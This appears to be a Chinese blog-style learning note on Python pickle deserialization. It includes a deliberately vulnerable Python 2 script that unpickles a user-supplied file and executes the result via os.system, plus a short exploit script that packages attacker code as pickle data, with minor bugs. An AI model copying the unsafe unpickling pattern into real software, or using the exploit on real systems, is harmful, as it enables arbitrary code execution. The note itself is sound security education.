0x01 前言
前两天在安全客中看了一篇python对象注入的文章，感觉写的很好，就学习一下，在此记录一下。
0x02 Python之pickle
在研究python反序列化漏洞之前，我们需要了解本次研究的主体：pickle模块
这里主要需要知道4个方法：
dump()
dumps()
load()
loads()
pickle.dump(obj, file, [protocol])
dump()会将对象序列化后写入一个文件中，其中，文件需要有write接口，protocol代表的是协议，当protocol=0的时候表示序列化对象用可表示的ascii码写，当protocol=1的时候代表用二进制表示，那么文件就要用wb模式打开，当protocol=2的时候也是用二进制表示，在python2.3之后的版本可以使用，会更高效一些，默认protocol=0。
pickle.dumps(obj)
与dump()不同的是，dumps()只是将序列化对象当作字符串返回
pickle.load(file)
load()会读入file的内容，并将其反序列化为对象，file的内容要求是序列化的内容。
pickle.loads(pick_data)
loads()会将序列化的字符串反序列化为对象
cPickle与pickle的用法差不多，但是cPickle使用C语言写的，别pickle更高效，现在大部分都会使用cPickle来代替pickle了。
0x03 Python对象注入之pickle
什么是对象注入？回想一下之前讲PHP反序列化漏洞的时候的概念，其实差不多，在pickle中，序列化的过程是没有问题的，但是当反序列化的过程中，如果用户的输入被传入unpickling中时，那么就有可能存在对象注入的风险。
举个例子：
import cPickle as pickle
import os, sys
arg = sys.argv[1]
class Test(object):
def load(self, filenmae=None):
with open(filenmae, 'rb') as pick_file:
self.doWork = pickle.load(pick_file)
self.workDone = self.doWork
def final_workout(self, unpickled_data):
self.filename = "code.py"
self.writeinto = open(self.filename, "w")
self.writeinto.write(unpickled_data)
print "Flag = 1"
self.writeinto.close()
os.system("python2 {}".format(str(self.filename)))
if __name__ == '__main__':
test = Test()
test.load(arg)
unpickled_data = test.workDone
test.final_workout(unpickled_data)
这段代码中，首先他有一个接受用户输入的功能，并且反序列化了用户的输入，并放入一个叫做code.py脚本中执行，那么我们就可以构造特定的字符串来执行我们想要的功能。
0x04 漏洞利用编写
exp.py
import cPickle as pickle
filename = "pickle_data2.txt"
code = "code.txt"
class Test(object):
def load(self, code):
self.code = code
self.readin = open(code, "r")
self.readin_data = self.readin.read()
self.done = pickle.dumps(self.readin_data)
def write_into(self, filename, pickle_data):
self.writeinto =open(filename, "w")
self.writeinto.write(pickle_data)
print "Writing pickle data into the file..."
self.writeinto.close()
def read_into(self, filenmae):
self.filename = filename
self.readinto = open(filename, "r")
self.ret_data = self.readinto.read()
print "\n\n"
print "Pickle data: \n\n"
print self.readin_data
if __name__ == '__main__':
test = Test()
test.load(code)
pickle_data = test.done
test.write_into(filename, pickle_data)
test.read_into(filename)
